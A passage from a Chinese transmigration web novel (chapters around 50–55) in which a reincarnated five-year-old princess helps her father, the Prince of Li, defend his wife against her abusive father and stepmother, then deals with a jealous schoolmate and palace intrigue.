看到唐蕊,正与明月说话的司徒澈话音一顿,感觉脑袋又有点疼了:“你俩怎么来了?” “爹爹爹爹!”唐蕊欢快的跑过去,抱住了司徒澈的腿,抬起脑袋,眨巴着乌溜溜的眼睛瞅着他:“过两天是花灯节,可以带我和母妃还有庶母们出去玩吗?” “蕊蕊!”顾若雪生怕司徒澈认为是她挑唆的,赶紧道:“别瞎说,我和你的庶母们都出去怎么行,快过来。” “为什么?王府那么多侍卫,就不能多派几个保护我们吗?再说啦,张庶母武功那么好,她都不用侍卫们操心。” 唐蕊说罢又巴巴的看着司徒澈:“爹爹,带我们出去玩吧,我们是一家人,就要整整齐齐的才对哦。” 司徒澈低头看着怀中稚气未脱的女儿,又抬眼望向顾若雪,见她一脸紧张,指节却微微泛白。 一家人? 他心中微动,这个词早已陌生得如同隔世。 可唐蕊说得对,何为家?不是金玉满堂,而是灯火可亲,人皆在旁。 他轻轻抚过女儿发顶,终是点了点头:“好,都去。” 顾若雪猛然抬头,眸光颤动如星火乍现:“妾、妾身也能去?” 司徒澈微微一笑:“父王的生辰快到了,听说那天臻粹阁要拍卖神医的仙丹,估计去的人会很多,你们也跟本王去凑凑热闹吧!” 如果能拍到最好,拍不到也没办法。 “好,多谢王爷!”顾若雪心下感动。 心道秦芷嫣果然没说错,璃王真是世上最好的男儿。 他是真的把她们这些女子当成了家人。 太子? 他哪及璃王半分! 唐蕊:“…” 神医谷的,仙丹? 真的假的? 还有拍卖! 这个时代怎么会有这样的词? 她没记错的话,中国古代的拍卖不叫拍卖,叫唱衣,是佛教寺院中处理僧侣遗物或布施衣物的特殊制度。 拍卖是出自公元前500年的古巴比伦。 还是说…架空时代跟她所在的那个世界不一样,这里一直都有拍卖一说? 司徒澈见她面露疑惑,好奇道:“在想什么?” “没…”唐蕊回过神来:“我就是想说,李庶母应该会开心坏了。” 司徒澈:“…” 顾若雪没忍住噗嗤一笑:“确实,李妹妹最爱买东西了。” 没事就要出去买买买! 放眼整个京都,谁家的侍妾像她这般自由? 不过这也能说明,秦芷嫣真是一个非常宽和的王妃。 几人正聊着,秦芷嫣院里的奴才来禀报:“王爷,王妃说家中来信,要回家一趟,让奴才来跟您说一声。” 司徒澈点点头,表示自己知道了。 唐蕊一听这话却赶紧道:“爹爹,你说母妃的家人,会不会为难她?” “为难?”司徒澈一时间没反应过来:“为何?” 唐蕊道:“当然是因为嫁妆的事哇,不然你刚叮嘱了太子,让秦芷媃还嫁妆,怎么今天母妃就被叫回去了,哪有这么巧哦,肯定是秦芷媃求助娘家了。” 司徒澈闻言眉头微蹙。 别说…还真有可能! 唐蕊见他这样,再接再厉:“爹爹,外公偏心得很哦,母妃一个人肯定会被欺负,要不你也去一趟吧?” “明月!”司徒澈坐不住了,唤了一声。 明月立刻应声,眼底满是跃跃欲试:“我在!” 搞事啊! 他喜欢! 司徒澈这会儿没功夫计较他的语气问题:“随本王去永安侯府。” “好!”明月赶紧过来推他轮椅。 司徒澈临走时看向失落的顾若雪…手里拎着的食盒,多说了一句:“给本王带的东西放进书房,本王回来再吃。” 顾若雪闻言眼睛一亮,赶紧说道:“我还是带回去吧,王爷回来了,我再给王爷做。” “那本王回来后去看你!”司徒澈点点头,跟明月离开了。 顾若雪看着他远去的身影,忍不住唇角带笑。 世上怎么会有这么细心的男子? 这个时候都没忘了她… 有这样的相公,真的太幸福了。 她哪里知道,秦芷嫣可是特意跟司徒澈说过,要平衡后院的话。 司徒澈是个听劝的人,从没看不起任何一个女子。 如果只是多花一点心思和时间,就能让自己后院的女人避免像皇帝后宫的女人们那样疯狂,何乐而不为? 只是… 上了马车的司徒澈,看着正哼唧哼唧往他马车上爬的唐蕊,额头滑落一根黑线:“你跟来作甚?” “我也要去…保护母妃!”唐蕊这小短腿实在爬不上去,巴巴的看向明月:“明月,抱抱!” 明月点头,都没问司徒澈,直接拎起小奶包放塞进了车厢。 司徒澈:“…”眼里还有没有他这个主子? 真特么想换人! 马车出发,司徒澈脸色有点黑,开始对唐蕊说教:“明早你还要去国学监,起得来吗?” “莫得问题哈!”反正上课也能补觉觉。 唐蕊爬到司徒澈身边坐下,自顾自的从暗格里翻出点心开始吃。 知道她爱吃,秦芷嫣专门在车上暗格里放了这些。 后来朱庶妃没事也会往这个暗格塞点心。 现在司徒澈的专属马车,都快成唐蕊的了。 司徒澈伸出手指抵着太阳穴,看着她圆鼓鼓的肚子,有些无语:“唐蕊,你这么吃下去,以后一定会变成个大胖子,嫁不出去的。” “不怕哦!”唐蕊大言不惭:“我是皇爷爷亲封的郡主,有钱又有权,还怕没有男子喜欢吗?” 司徒澈无言以对。 她仰着小脸,嘴里还塞着点心,含糊道:“再说,喜欢我的人,不管我变成什么样子,都会喜欢。如果只是喜欢我的容貌,不喜欢我的内在,那我不是以色侍人吗?我可是郡主哦,怎么会如此作践自己呢?” 司徒澈:“…”又是被女儿的歪理打败的一天! 这小丫头,年纪不大,道理倒是一套一套的。 真的五岁吗? 是不是太早熟了一些? 不过话又说回来,熟点也好。 在皇家,天真的孩子活不长的! 第51章 璃王来了,霸道护妻 司徒澈不再继续这个话题,而是说道:“父皇已经给你的名字加入皇家玉牒了,司徒蕊,以后你不姓唐了。” 唐蕊眨了眨眼,将最后一块点心咽下:“可我还是喜欢唐蕊这个名字,以后爹爹可以继续这么叫我哦。” 这个世界她是随师傅姓,但前世的她也叫唐蕊,是妈妈给她取的名字。 妈妈很爱她。 还说,蕊本义为花蕊,是花朵的核心部分,是精华! 妈妈给她取这个名字,是希望她像植物的源头一样,活力四射,成长与未来可期。 不管前世还是今生,她都如这个名字一样,活力满满,永远充满希望。 可惜,妈妈在她被车撞死穿越的前一年就走了,癌症晚期。 想到这些,唐蕊也没心情吃了,窝在司徒澈身边安静下来。 司徒澈看了她好几眼,神色狐疑:“是不是累了?” “木有,我就是…想娘了。”唐蕊抬起头看着司徒澈:“爹爹,你会一直爱我吗?就算以后有了弟弟妹妹,也会一直爱我吗?” 前世的爸爸娶了继母,和继母有了孩子,就不爱她了。 要不是爷爷向着她,她连公司的股份都拿不到。 司徒澈心头一紧,他从没见过唐蕊这种表情。 很难过,也很害怕,就像是一只担心自己被扔掉的小兽。 司徒澈揉了揉她的脑袋,眼神温软下来:“自然,本王会尽量做到公平公正,就算以后你行差踏错,本王也会尽力保住你的封号与尊荣。不管以后本王有没有别的孩子,这一点都不会改变。” 得到想要的答复,唐蕊放心下来:“爹爹真好,那我也会疼未来的弟弟妹妹们,做个好姐姐哦。” “乖!” 虽不是儿子,但他也算有后了。 唐蕊的到来,让外面对他的闲言碎语少了很多。 后来又得知唐蕊的生母当时是在救他,他心里的芥蒂也没有了。 … 永安侯府! 秦芷嫣本来没想回来的,但顾若雪刚离开没多久,侯府又派人送了一封书信来。 这次还是永安侯的亲笔信。 信中说,她今天要是不回去,就永远别回去了。 古代娘家就是女子的依仗,虽然秦芷嫣和永安侯的关系不算好,但也不想失去这个依仗。 她还指望着,以后璃王要是想坐那个位置,家里人能出一份力呢! 于是,秦芷嫣草草打扮了一下,带着徐嬷嬷回到了永安侯府。 谁知,刚一进来,就是三堂会审架势。 她的父亲永安侯坐在主位,秦芷媃的娘,如今的永安侯夫人端坐在他身边,正不满的看着她。 “跪下!”永安侯冷声开口。 秦芷嫣闻言一愣:“父亲,女儿做错了何事?” “你还说?”永安侯指着她,义正言辞道:“你和芷媃是亲姐妹,不互相帮衬也算了,还落井下石,怂恿璃王找她要嫁妆,这难道不是错?” 永安侯府人何氏不屑的瞥了她一眼,也在旁边拱火:“芷嫣,你成亲我不是给你备了嫁妆吗?怎么还能眼馋你妹妹的嫁妆呢?你知不知道,她在太子府有多难过?” 秦芷嫣气笑了:“秦芷媃的嫁妆本就是我母亲的,理当由我带走,秦芷媃是你的女儿,又不是我母亲的女儿,你们何家这是穷得理直气壮,明抢吗?” “你…”何氏气结,委屈的看向永安侯:“侯爷,你看她啊,姐妹本就是一体,分什么你的我的?我这不是想着芷媃到底是太子妃,比芷嫣更需要这些嫁妆吗?当初您也是同意了的,现在芷嫣又来怪我。怪不得人家都说,继母不好做。” 永安侯点点头,皱眉道:“当初是本侯同意了的,璃王残疾,太子是一国储君,你妹妹确实比你更需要这笔嫁妆,帮衬太子。你也不要再怂恿璃王了,多为你妹妹想想,她以后身份贵不可言,就算是你也要仰仗她。都是亲姐妹,别把关系搞那么僵。” 秦芷嫣气得磨牙,本想像以前一样忍气吞声算了。 但…想到司徒澈说过会给她撑腰的话,实在没忍住,反唇相讥:“父亲这话说得真好笑,她没成为太子妃的时候就时常欺我,我能指望她什么?嫁妆是我母亲的,就算是父亲你也做不了妻子嫁妆的主。还是父亲想让别人知道,你这堂堂永安侯,不光宠妾灭妻,还强占亡妻嫁妆?父亲就不怕天下人耻笑?” “放肆!”永安侯勃然大怒:“你敢这么跟本侯说话?” 秦芷嫣挺直背脊,第一次直视着他:“本妃是璃王正妃,先君臣后父子,父亲见到本妃不行礼也就算了,还敢这么跟本妃说话,父亲才是没把璃王放在眼里,没把皇室放在眼里吧?” “逆女!” 永安侯猛的站起身来,抓起身边的茶盏砸了过去。 丝毫都没顾及眼前之人是他的亲生女儿。 眼看茶盏要砸到秦芷嫣身上,徐嬷嬷眼疾手快,一个箭步冲上去挡在秦芷嫣身前。 茶盏重重砸在徐嬷嬷肩头,滚烫的茶水泼了徐嬷嬷一身。 徐嬷嬷疼得闷哼一声,却硬是咬着牙没喊出声。 秦芷嫣见状,赶紧扶住她,怒视着永安侯。 还没来得及开口说话,下人来报:“侯爷,璃王来了。” 永安侯闻言一愣,回过神后赶紧道:“快请!” “不用请了!”司徒澈被明月推着进来,扫了一圈在场的人:“这是怎么了?” “王爷!”徐嬷嬷福了福身子,三言两语把事情说了,快得永安侯都没来得及阻止她。 见司徒澈眼神冷了下来,永安侯尬笑:“王爷,本侯教训女儿,让你看笑话了。” 唐蕊冷声道:“永安侯没听说过,嫁出去的女儿泼出去的水吗?母妃是我爹爹的正妃,冠夫姓,上了皇家玉牒,行掌家之责,你凭什么打骂她?就凭你是永安侯?哦,原来永安侯地位比皇室更高啊!” “本侯没有!”唐蕊一番话说得永安侯冷汗直冒! 没外人在就算了,现在璃王就在这。 虽然他心里看不起这个残废,觉得没有投资的价值。 但王爷就是王爷,是圣上的儿子。 他哪里还敢放肆! 第52章 重新评估秦芷嫣这个女儿的价值 何氏却看不清形势,觉得自己的女婿是太子,很了不起了。 见唐蕊插嘴,站起身不满道:“大人说话,有一个孩子什么事呀?璃王爷,没有请宫中嬷嬷教郡主规矩么?” 靠? 唐蕊可不惯着她,气呼呼的上前踹了她一脚。 何氏根本没想到她会动脚,被她踹得一个趔趄,又坐了回去。 小孩子的力气不大,不算疼。 但很丢人! 还不等她发脾气,唐蕊就指着她:“明月,把这个没规矩的贱妾给本郡主宰了。” 明月看热闹不嫌事大,早就手痒难耐了。 闻言一个闪身来到何氏身边,银光一闪,拔出长剑架在何氏脖子上。 何氏脸色一白,人都傻了:“你…你干什么?我可是永安侯夫人。” 唐蕊呵呵:“永安侯夫人?好了不起啊!你有诰命在身吗?不过挂了个永安侯夫人的头衔,没有封号和品阶的贱妾而已,跟本郡主装什么比呢?” 何氏闻言被噎住了,浑身发抖,也不知道是害怕还是被气的。 唐蕊生怕气不死她,叉腰腰继续输出:“你知道皇爷爷为什么不给你诰命吗?因为整个贵圈里,谁不知道你是什么出身?你也配?笑死,一个没规没矩又自大的蠢货而已,还敢冒犯本郡主,欺辱本郡主的母妃,不知道的还以为嫁给太子叔叔的不是你女儿,而是你呢!你信不信,本郡主今天就算宰了你,皇爷爷也不会怪罪本郡主?” “你…你怎么能这么做?” 何氏被唐蕊这一番话气得浑身颤抖,她何曾受过这样的羞辱,尤其是在自己家中,被一个五岁的小丫头如此对待。 她想发作,却又惧怕明月手中那寒光闪闪的长剑,只能将求助的目光投向永安侯:“侯爷…” 永安侯此时也是脸色铁青,他没想到唐蕊一个小丫头竟然如此伶牙俐齿,更没想到她竟然敢如此无礼地对待自己的夫人。他刚想开口呵斥唐蕊,却被司徒澈一个眼神给制止了。 永安侯:“…”默默闭了嘴。 他是真的没想到,璃王会护着秦芷嫣这个逆女。 不是说璃王不喜欢这个逆女吗? 难道消息有误? 何氏见他不说话,心里暗骂,脸上硬扯出一抹笑来:“郡主,是妾身冒犯了,您…还是让您这侍卫把剑拿开吧!” 唐蕊不依不饶,斜睨了她一眼:“你对不起的是本郡主吗?你对不起的是本郡主的母妃,给她道歉!” 何氏:“…”要她给一直都看不起的秦芷嫣道歉? 还不如杀了她呢! 见她不张口,明月的剑用力了一分。 何氏脖子上立刻出现了一道浅浅的血痕。 何氏脸色骤变,也顾不上什么面子了,急声嚷嚷:“是妾身错了,璃王妃,还请您大人不记小人过,让这侍卫把剑拿开吧!” 永安侯也觉得没面子,硬邦邦的说了一句:“王爷,你跑本侯府中杀本侯的夫人,就不怕本侯明日去圣上面前参你一本?” 司徒澈懒懒的撑着脑袋看着这一出闹剧,一听他这话微不可闻的笑了笑:“有什么可怕的?本王最多禁足几个月,父皇难道还要因为你家夫人要本王偿命?永安侯是太看得起自己,还是太看得起你家夫人了?” 永安侯:“…” 只要是有眼睛的人都看得出,皇帝最宠爱璃王! 怎么可能让璃王为何氏偿命? 永安侯咬牙道:“何氏虽没浩命,但她到底是本侯的夫人,就算是太子,也要喊她一声岳母。王爷,得饶人处且饶人!” 潜台词就是太子都要喊一声岳母,你也一样。 司徒澈乐了,似笑非笑道:“所以永安侯的意思,太子认这个岳母?真的假的?明天本王一定要告诉太子,让他给你夫人做主。” 永安侯:“…”认个屁! 回门那天太子都没给何氏一个眼神。 这一刻永安侯有点恼何氏了。 谁都看得出,她在这些贵人眼里什么都不算,偏偏她自己看不清楚,反倒因为太子岳母这个身份洋洋得意,到处得罪人。 现在更是连璃王都敢得罪! 永安侯看向秦芷嫣,不由得想到了亡妻。 若是芷嫣的生母,绝对不会这样… 那个女子虽然床上无趣,但最是温柔识大体。 唐蕊清楚的捕捉到了永安侯眼底的懊恼之色,不由得心中冷笑。 不用猜就知道这狗男人在想什么。 以为他是后悔了吗? 不! 并不是! 只不过是因为何氏年老色衰,不似当年,所以他又开始怀念年轻漂亮的了。 所谓白月光朱砂痣不都这么来的吗? 孩子死了想起奶了,人都没了想起她的好了。 唐蕊嫌恶心,不再看他,看向秦芷嫣:“母妃,你说吧,要不要杀了何氏?爹爹今天会给你做主!” 秦芷嫣看向司徒澈,眼底划过一丝柔意:“王爷,算了吧,不要脏了自己的手。” 她不会给司徒澈添麻烦! 好歹是永安侯夫人,真被杀了,司徒澈会被皇上训斥,那些无聊的大臣也会抓着弑杀岳母的过错不放。 这可不是她想看到的。 “依你!”司徒澈握住她的手,一开口明月也放下了剑。 何氏还没来得及松口气,又听司徒澈道:“永安侯,何氏,芷嫣是本王明媒正娶的王妃,不尊重她,就是不尊重本王。” “…”这还是司徒澈第一次明确表态。 反观太子,从没说过类似的话。 “是!”永安侯表面应声,心里却在重新评估秦芷嫣这个女儿的价值。 “还有本王王妃的嫁妆,若是太子妃再不归还,本王真要去父皇面前跟她理论了。” 司徒澈扔下这句话,给了他们一个好自为之的眼神,这才带着妻女离开。 等他走后,何氏委屈得红了眼:“侯爷,你就看着这个残废这么欺负妾身?” 永安侯闻言反手甩了她一个大逼兜子,指着她怒道:“那是王爷,是皇上的儿子,你算什么东西?也敢骂他残废?你不要命了?” 何氏捂着自己的脸,咬着唇抽泣起来:“我不也是为侯爷您不平?人家都欺负到我们家里了,难道侯爷就什么都不做吗?” “…”都说了那是王爷,还是皇上最宠爱的儿子,你要老子做什么? 杀了他,让皇帝诛九族? “哼!”永安侯冷冷的看了她一眼,拂袖而去,不想跟这个蠢货多说。 要不是看在秦芷媃这个太子妃的份儿上,他早废了这个蠢女人了。 第53章 你可以跟他定个娃娃亲 马车里… 秦芷嫣被父女俩盯得很不好意思:“王爷,蕊蕊,给你们添麻烦了,父亲来信直说有急事商议,我也不知道他会这样。” 司徒澈收回目光,简单粗暴:“我会给你派个会武的属下,以后你走哪儿就带着她。” 秦芷嫣一点武力值都没有,长得一副柔弱可欺的样子。 实在太不安全了。 还是得有个会武功的跟着,安全! 秦芷嫣笑着点点头,接受了他的好意:“一切都听王爷的。” 唐蕊抱着她的胳膊,乌黑的眼眸巴巴的看着她,眼底毫不掩饰的心疼:“母妃,不要难过哦,你还有我们。” “我…”秦芷嫣没想到,司徒澈没看出她的难过,倒是唐蕊看出来了。 眼睛不由得有些酸涩,有点想哭。 只一瞬间,眼睛都红了一圈。 秦芷嫣把唐蕊抱进怀里,脸贴着她的脸,不知道是在安慰自己,还是在回答唐蕊:“不难过,母妃有你和王爷,一点都不难过。” 她早该死心的,所谓的家人根本就没把她当家人。 从小到大,父亲和何氏把所有的宠爱都给了秦芷媃,连带着永安侯府的下人们也跟风。 而她,不过是个可有可无的隐形人。 不是冷暴力,就是被欺负。 她就不该再对他们抱有希望。 司徒澈迟疑片刻,掏出手帕适时递上:“唐蕊说得没错,你是璃王妃,除了父皇不需要讨好任何人,有什么委屈就发泄出来,不用担心给本王惹麻烦。本王既然说过要护着你,就一定说话算话。” “是,妾身记住了。” 秦芷嫣接过手帕,心下微暖。 多年来她犹如浮萍,不被需要,也不被认可。 但现在,她似乎也找到了属于自己的港湾。 … 眨眼两天过去。 秦芷媃似乎认了命服了输,终于把嫁妆凑完送到了璃王府。 秦芷嫣看着这整整一百二十八抬,很是诧异。 虽然很多东西对不上… 好吧,当然对不上,她的嫁妆早被司徒澈派人偷回来了。 那么问题来了,秦芷媃从哪儿凑的这么多嫁妆? 秦芷嫣让徐嬷嬷出去打听了一下,这才得知。 秦芷媃把能卖的都卖了,不光贪墨了东宫的中馈,还从何氏那拿了许多。 秦芷嫣听完徐嬷嬷汇报,反射性皱眉:“不对,就算是何氏,也拿不出这么多才是,你继续让人去打听,我总觉得这里面有问题。” 徐嬷嬷点头应下。 秦芷嫣看着这多出来的嫁妆,心情大好,立刻让人收入库房,还选了礼物给府里的女人们。 连唐蕊都收到了一家脂粉铺子的地契。 不得不说,母妃有了钱,是真大方。 但唐蕊暂时没空管那铺子,她每天都要苦逼的上学呢! 也不知道司徒嫱是学乖了还是怎么的,这两天没有在国学监给唐蕊使绊子了。 唐蕊默默的松了一口气,倒不是怕,就是很烦! 每天那么早起床,已经很痛苦了。 要是还有个苍蝇一天天在面前蹦跶,她会忍不住想伸手捏死这只苍蝇的。 大家相安无事,这样很棒! 谁知,司徒嫱也就规矩了两天而已。 这天花灯节,唐蕊记着晚上一家人出去逛街的约定,难得主动早起,乖乖去了国学监。 正要进学堂的时候,就看到一边树下,司徒嫱拦着顾楠聿,正在激动的说着什么。 隔得有点远,她暂时听不清楚,只能听到唐蕊等字样。 跟自己有关的话题? 司徒嫱别是在说她坏话吧? 唐蕊眼疾手快扯着妙珠缩到了石墩后,竖起耳朵偷听。 妙珠一脸懵:“郡主,咱们这…不好吧?” 堂堂郡主听墙角,是不是有点不太对劲? 唐蕊无语的瞥了她一眼,小声嘀咕:“有什么不好的?偷听可耻,但光明正大听,算偷听吗?可耻什么哦?” “?”是、是吗? 妙珠不确定,本还想劝解几句,但好像听到了那司徒嫱说了自家郡主的名字。 于是,也跟着竖起耳朵。 司徒嫱根本不知道唐蕊就在附近,看着眼前芝兰玉树的少年,脸色微怒:“顾楠聿,今晚花灯节,我好不容易求得父王带我一起出去,让你跟着不也是为你好?我父王是太子,以后你想入仕不也要靠我父王?你隔这跟我装什么呢?” “首先,皇上身体康健,你父王也还是太子,我不觉得需要靠他什么。其次,我顾楠聿不是一无是处的废物,就算需要帮忙也有家族可仗。最后…” 顾楠聿眉眼淡漠,说到这里,眼底划过一丝不屑之色:“你以为你是谁?别把自己看得太重。” “你就是看不起我,对不对?”司徒嫱像是抓住了他话语中什么暗示一样,气得磨牙:“你就是觉得我的身份没有唐蕊高,所以才跟她走那么近,是不是?” “…”神经病啊? 完全说不通! “你要这么想,我也没办法。” 顾楠聿越过她就想走,下一刻却又被她拦住了。 司徒嫱气得眼眶发红,眼瞅着都快哭了:“顾楠聿,我现在没有品阶,但不代表以后也没有。唐蕊就算是郡主又怎么样?她父王就是个残废,哪能跟我比?” 顾楠聿眉眼冷了下来:“好狗不挡路,走开!” 司徒嫱闻言不可置信的看着他:“你敢说我是狗?” “说你是狗都是在侮辱狗,萤火之光妄想同皓月争辉?不知所谓!”顾楠聿扔下这句话,不顾风中凌乱的司徒嫱,越过她离开了。 司徒嫱强忍的眼泪终于落了下来,眼底盛满了不属于她这个年纪的阴毒:“唐、蕊!我不会放过你的。” 不远处的唐蕊:“…” 妙珠无语,小声跟唐蕊咬耳朵:“郡主,她是不是有什么大病?” “…”相处没几天,都开始学我说话了? 唐蕊中肯点头:“估计是哦,不然干嘛又怪我头上?” 皇上封她为昭华郡主,司徒嫱不怪皇帝,怪她。 顾楠聿不想跟司徒嫱亲近,司徒嫱不怪顾楠聿,还是怪她。 怎么? 她是什么软柿子吗? 妙珠看着顾楠聿渐行渐远的挺拔背影,话题一下子就歪了:“郡主,其实奴婢觉得顾公子很不错,你可以跟他定个娃娃亲什么的。” 唐蕊眼尾一抽,无语的看着她:“你有毒哦?我才五岁。” 哪有五岁的小孩子看未来另一小半的? 为什么是小半?因为她已经打定主意以后要一妻多夫了。 好不容易穿越,还有了这么牛逼的身份! 郡主喂! 如果运气好,说不定她这个郡主还会变成公主。 很多现代人根本无法想象,古代公主郡主意味着多大的权势,而且她还这么受宠。 多找几个怎么了? 干嘛非得在一棵树上吊死哦! 顾楠聿,好是好… 但唐蕊总觉得他有点疯批属性,一直以来都是纯欣赏,从没生出过别的心思好不好。 妙珠就不一样了。 纯纯的古代人,从古至今定娃娃亲的事多正常啊,于是继续说服:“五岁也可以定娃娃亲,顾公子已经十一了,长得好又会念书,再过三四年说亲的人肯定会踏破丞相府的大门,到时候就没您的份了。” 第54章 昭华郡主,明人不说暗话 唐蕊白了她一眼,小手一摊:“没有就没有叭,本郡主不是很感兴趣。” 天涯何处无芳草,相信以后会有很多不长眼的美男子拜倒在她的西装裤下的。 毕竟,便宜爹那么好看,她以后肯定也不差,还有这么贵重的身份,会稀罕一个小小的顾楠聿? 笑死! 也许是主仆俩讨论得太激烈,司徒嫱听到了动静,猛的看了过来:“谁在那里!” 妙珠吓得一秒缩回脖子。 唐蕊慢了一步,被司徒嫱看了个正着。 “又是你!”司徒嫱现在看到唐蕊就来气,总觉得唐蕊就是上天派来克她的:“唐蕊,你还要不要脸,居然偷听我和顾哥哥说话。” 妙珠有点羞愧。 这事确实是她们偷听,有些不地道。 唐蕊才没这些思想包袱,叉腰腰理直气壮怼回去:“什么偷听哦?本郡主只是路过这里,你总不能让本郡主捂着耳朵走路叭?再说了,你俩要说悄悄话,就该找个隐蔽没人的地方,再在门口挂个请勿打扰的牌子再说啊!干嘛在大家过路的地方说?” “你…哼…我懒得跟你说话,小小年纪就知道抢别人的男人,臭不要脸!” 司徒嫱也学乖了一些,知道唐蕊伶牙俐齿,说不过她,扔下一句难听的话就走。 唐蕊:“??” 妙珠理解了一下,小声道:“郡主,她说的不会是…你抢顾公子吧?” “…”估计是的。 唐蕊真是…被这小屁孩给气笑了。 一群毛都没长齐的小萝卜头,怎么就这么早熟了? 她才五岁啊! 司徒嫱得多丧心病狂多变态,才会认为她和顾楠聿有一腿? “这个心里不健康的可恶小鬼!”唐蕊此时有点希望自己的蛊快点炼好了,到时候一定要让司徒嫱吃吃苦头! 有了这一出,唐蕊看顾楠聿也有点不爽了。 一上午都没搭理他! 到了中午,哪怕顾楠聿照常提着自己的食盒坐到她身边,她也扯了扯司徒安的袖子,跟他换了个位置坐。 顾楠聿:“…”看了唐蕊一眼,又默默的看向司徒安! 司徒安抖了抖,搓着自己的胳膊:“你俩到底咋了,有话好好说不行吗?不要给我施加压力啊!” “我也想知道!”顾楠聿神色淡淡,自顾自绕到另一边,依旧挨着唐蕊坐下:“昭华郡主,明人不说暗话,在下可有哪里得罪了?” “唉…”唐蕊也知道自己是无脑迁怒了。 这事说起来顾楠聿很无辜,完全是司徒嫱自己有病。 司徒郯看了看两人的神色,也开口道:“昭华,顾楠聿是不是欺负你了?你说出来,我和小皇叔给你做主。” “也不怪他哦…”唐蕊抓了抓后脑勺,完全忘记她刚刚才拿过卤鸡翅,小手油乎乎的。 这一抓,连带着后脑勺都有了油污:“就是司徒嫱啦…” 唐蕊一五一十把刚刚的事说了一遍,重点强调她才五岁,就被司徒嫱当成了情敌。 司徒安目瞪口呆,满脸不可置信:“不是,司徒嫱有病吧?” 顾楠聿也是醉了,掏出自己的手帕给她擦着小手:“抱歉,我没想到会连累你。” 司徒郯道:“昭华,楠聿才十一岁,哪里懂这些,这事跟他无关。” 虽然很多定了娃娃亲的,但也只是定亲而已。 像他,最近母妃就在给他看未来媳妇的人选了。 找了一堆各家与他年龄相差不大的小女娃画像供他选,准备一到十六岁就成亲。 他翻看各家小女娃画像的时候,只觉得有点新鲜,或者哪家的女娃娃长得很可爱,又或者哪家的女娃娃很胖,像个白面包子。 要说对异性有什么爱慕之情,那是不可能的。 “我知道哦,就是有点生气…”可司徒嫱才安静下来,她也不想主动挑起事端。 所以才没忍住,给顾楠聿甩脸子。 唐蕊有错就认,想明白了,立刻道歉:“顾楠聿,对不起哦,我不该把情绪发泄在你身上。” 顾楠聿倒是很理解:“人之常情,不需要道歉,这事不怪你。” “司徒嫱真是一个事儿逼。”司徒安现捡了唐蕊说过的话,很是气愤:“告状,必须告状,等我回宫就告诉父皇这件事。” “算啦…”唐蕊气过了也就忘了:“还是别去麻烦皇爷爷了,总归恶心我一下,问题不大哦。” 当皇帝的哪有那么清闲,一天天管小辈之间的矛盾。 一次又一次,皇帝脾气再好也会烦的。 等她蛊炼好,给司徒嫱喂一只猛的,让她涨涨教训就是了。 “昭华说得对,小皇叔也别让皇爷爷烦心了,以后司徒嫱再胡说八道,你尽管拿出你长辈的架子压压她就是。”司徒郯如此说道。 “哦!”司徒安答应下来。 然而… 放学一回宫里,好巧不巧的看到皇帝在他母妃这。 高贵妃看到儿子,眼底荡起慈母笑意:“安儿回来了,今天在国学监有没有好好听周学士讲课呀?” 皇帝冷笑:“他就一皮猴子,周学士跟朕告了好几次状了,说他上课不是跟昭华说话就是睡大觉。人家昭华聪慧,不听都会,你呢?毫无自知之明。” 高贵妃闻言眉头微蹙,满脸不赞同:“安儿,忘了母妃怎么跟你说的了?” “父皇,母妃,你们别说我了,我都快被司徒嫱恶心死了。” 司徒安气呼呼的坐到皇帝身边,扯了扯他的龙袖:“父皇,你可不可以让司徒嫱别去国学监了啊?一天天的欺负昭华,昭华都快被她欺负死了。” 皇帝闻言脸色一冷:“她又怎么了?” 若是别的儿子,看到皇帝露出这样的脸色,早就诚惶诚恐跪下了。 偏偏司徒安就不怕,在他眼里,父皇就是父亲,才不会把他怎么样呢! 司徒安撇撇嘴,把事情一五一十全都告诉了皇帝,完了又道:“昭华不让我告诉您,说您每天操心国家大事很忙,不想再拿小辈之间的矛盾去烦你。可我就是气不过,昭华才五岁,司徒嫱居然还能说出这么不堪入耳的话来,可见心思有多龌龊。这样的人,待在国学监不也是带坏国学监的风气么?” 第55章 为了她,为了老七 高贵妃眉头紧皱,看向皇帝:“皇上,这…确实过分了些,五岁的孩子能懂什么?嫱姐说起来也才八岁,心思怎么就这么…异于常人?太子连子女都管不好,将来如何…” 说到这,她似乎反应过来自己说错话了,赶紧跪下:“皇上恕罪,臣妾不该妄议太子。细细想来,嫱姐到底是庶女,太子诸事繁忙,总不能时时刻刻盯着自己的子女,这也不怪太子。” “起来!”皇帝黑着脸,扶着她起身:“你说得没错,太子连自己子女都管不好,以后如何管天下?” “皇上别动怒,依臣妾看,不如先停了嫱姐的课,找个资历高懂规矩的嬷嬷好好教教她言行举止再说,免得出去惹人笑话,让皇室蒙羞。” 高贵妃柔柔一笑,站起身来,言罢又道:“不过这太子妃也是,嫱儿好歹叫她一声母妃,她怎么也不管管孩子。皇后姐姐估计也没想到,太子妃如此拎不清吧,若她知道,当初就不会选中秦芷媃做太子妃了。” 她越说,皇帝心里邪火越盛,也越失望。 皇帝自诩明君,此生做过无数大大小小的决断。 唯一后悔的,大概就是封了老二为太子吧! 可… 为了她,为了老七,他又不得不这么做。 这个储君,只能她的孩子来做! 要不是老七的腿… “朕还有事,今晚就不陪你用膳了,你早点休息。”皇帝起身离开,谁也不知道他在想什么。 等他离开,司徒安才懵懵懂懂问高贵妃:“母妃,父皇生气了吗?” 高贵妃苦涩一笑:“总归不是生我们的气,你父皇的心早就被一个人占满了,不然你三皇兄和五皇兄谁没资格做储君?怎么会轮到才智平平的太子呢!” 司徒安更听不懂了:“这个人是母后吗?” 高贵妃点点头,又摇摇头,眼神茫然,像是在回应他,又像是在回应自己:“本宫以前觉得是,但好像又不是…” 司徒安抓了抓脑瓜子,更不懂了:“可整个大夏都知道,父皇独爱母后呀,除了母后,还能有谁?” 他没说的是,自家的母妃也好,各宫的嫔妃也罢,多多少少都能在她们身上看到皇后的影子。 要么是眼睛,要么是嘴巴,要么是鼻子,要么是脸,要么是某个动作,甚至是语气… 他的母妃高贵妃,之所以是贵妃,就是因为她的容貌很像年轻时的皇后。 不然这个贵妃都轮不到她做。 谁都知道,父皇爱惨了母后。 高贵妃回过神来,瞪着自家儿子:“合着在你眼里,你父皇就不爱本宫了?” “哪能呢,父皇当然喜欢你!”才怪! 捡唐蕊说的一个词,周边! 他的母妃,就是皇后周边之一。 … 皇帝回去后都没召见太子,直接让人拟了圣旨扔去了东宫,并附上了宫里一个资历颇高的老嬷嬷。 司徒嫱停课,暂时不能再去国学监,这些日子就让她好好跟嬷嬷学规矩。 太子:“…” 